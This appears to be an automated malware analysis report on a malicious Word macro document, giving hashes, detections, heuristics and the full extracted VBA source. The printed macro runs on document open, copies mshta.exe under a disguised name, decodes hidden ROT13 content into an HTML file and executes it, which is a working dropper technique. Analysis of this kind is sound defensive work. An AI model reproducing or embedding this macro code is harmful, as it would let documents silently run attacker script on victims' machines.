Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a14efc1e6412b0ec…

MALICIOUS

Office (OOXML)

70.7 KB Created: 2020-08-14 09:18:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 25012a47b488eb23bd14c646cdde5a27 SHA-1: bfb699b5cff3f332687f57314c6253e4ea1588af SHA-256: a14efc1e6412b0ec48430a77003a01b35b7e59c3c7ad071c9e915209ad243674
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This subroutine calls the Shell() function to execute 'mshta.exe' with arguments that appear to construct paths for a secondary payload. The VBA code also contains obfuscated strings that, when decoded, reveal paths for potential payload executables and HTML files. This indicates the document is designed to download and execute a secondary stage. The ClamAV detection name 'Doc.Downloader' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2361 bytes
SHA-256: 13fb6d40ead31454f16429ef49f27fa922619ace2c3ffea1ed3a620d3a1a175d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aOSM0"
Function avLlM()
avLlM = frm.txt.text
End Function
Public Function aU3Nd(aRz59, ayOuP)
aU3Nd = aLv6ZR(aRz59, ayOuP)
End Function
Sub AutoOpen()
main
End Sub
Public Sub aIAQgz(af0k4)
aGXw2Z = Shell(af0k4, vbNormalFocus)
End Sub

Attribute VB_Name = "a71P5x"
Public Const aTK3V As String = "c&:&\&w&i&n&d&o&w&s&\&s&y&s&t&e&m&3&2&\&m&s&h&t&a&.&e&x&e&"
Public Const a2z9U As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&c&a&l&c&.&c&o&m&"
Public Const af1h6 As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&i&n&.&h&t&m&l&"
Public Const aC6Yb As String = "&"
Public Const apP6iz As String = "&"
Public Const a7pW9M As String = "&"
Public Function aDl4E3(aCGSR, acolw)
FileNumber = FreeFile
Open aCGSR For Output As #FileNumber
Print #FileNumber, Spc(4317 - 4312)
Print #FileNumber, acolw
Print #FileNumber, Spc(4317 - 4312)
Close #FileNumber
End Function
Function aLv6ZR(aY4CFa, asWSE)
aLv6ZR = Replace(aY4CFa, asWSE, "")
End Function
Sub a5n4Ga(a9y1S, ajbYo)
FileCopy a9y1S, ajbYo
End Sub
Public Function aWo0a(ByVal s As String, Optional ByVal r As Integer = 13) As String
    Dim c, f, i As Integer
    For i = 1 To Len(s)
        c = Asc(Mid(s, i, 1))
        If c >= 97 And c <= 122 Then
            f = 97
        ElseIf c >= 65 And c <= 90 Then f = 65
        Else: GoTo Build: End If
        c = r + c - f
        Do: c = c Mod 26: Loop While c > (26 - 1)
        c = c + f
Build:         aWo0a = aWo0a & Chr(c)
    Next i
End Function

Attribute VB_Name = "aHaN1"
Sub main()
aiSL1k = aU3Nd(aTK3V, aC6Yb)
aHbmLM = aU3Nd(a2z9U, apP6iz)
aWOsL = aU3Nd(af1h6, a7pW9M)
a5n4Ga aiSL1k, aHbmLM
Call aDl4E3(aWOsL, aWo0a(avLlM))
aIAQgz (aHbmLM & " " & aWOsL)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{237BF59B-BDE2-474F-BF80-8284C14B2B36}{857D1ED9-EE3D-4A2F-8640-91901A46783C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: 77d77b33554b263f1f5d8e0e538e19bb077e6f0bc3a4dadfa3ebd202606c5ea4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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